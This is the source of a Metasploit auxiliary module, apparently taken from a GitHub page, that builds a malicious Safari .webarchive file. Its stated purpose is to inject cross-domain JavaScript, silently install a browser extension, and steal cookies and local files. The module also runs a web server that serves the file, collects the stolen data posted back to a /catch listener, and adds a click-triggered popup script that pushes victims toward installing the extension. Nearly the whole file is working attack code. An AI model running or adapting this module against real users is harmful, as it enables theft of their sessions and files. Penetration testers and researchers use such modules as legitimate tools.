Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Format::Webarchive
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Safari .webarchive File Format UXSS',
'Description' => %q{
Generates a .webarchive file for Mac OS X Safari that will attempt to
inject cross-domain Javascript (UXSS), silently install a browser
extension, collect user information, steal the cookie database,
and steal arbitrary local files.
When opened on the target machine the webarchive file must not have the
quarantine attribute set, as this forces the webarchive to execute in a
sandbox.
},
'License' => MSF_LICENSE,
'Author' => 'joev',
'References' =>
[
['URL', 'https://www.rapid7.com/blog/post/2013/04/25/abusing-safaris-webarchive-file-format/']
],
'DisclosureDate' => '2013-02-22',
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'))
end
def run
if datastore["URIPATH"].blank?
datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
end
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(webarchive_xml)
exploit
end
def on_request_uri(cli, request)
if request.method =~ /post/i
data_str = request.body.to_s
begin
data = JSON::parse(data_str || '')
file = record_data(data, cli)
send_response_html(cli, '')
print_good "#{data_str.length} chars received and stored to #{file}"
rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
file = record_data(data_str, cli)
print_error "Invalid JSON stored in #{file}"
send_response_html(cli, '')
end
else
send_response(cli, webarchive_xml, {
'Content-Type' => 'application/x-webarchive',
'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\""
})
end
end
# @param [Hash] data the data to store in the log
# @return [String] filename where we are storing the data
def record_data(data, cli)
if data.is_a? Hash
file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'')
end
store_loot(
file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"
)
end
# @return [String] formatted http/https URL of the listener
def backend_url
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
end
def message
super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '')
end
def popup_js
wrap_with_script do
%Q|
window.onclick = function() {
window.open('data:text/html,<script>opener.postMessage("EXT", "*");window.location="#{apple_extension_url}";<\\/script>');
};
|
end
end
end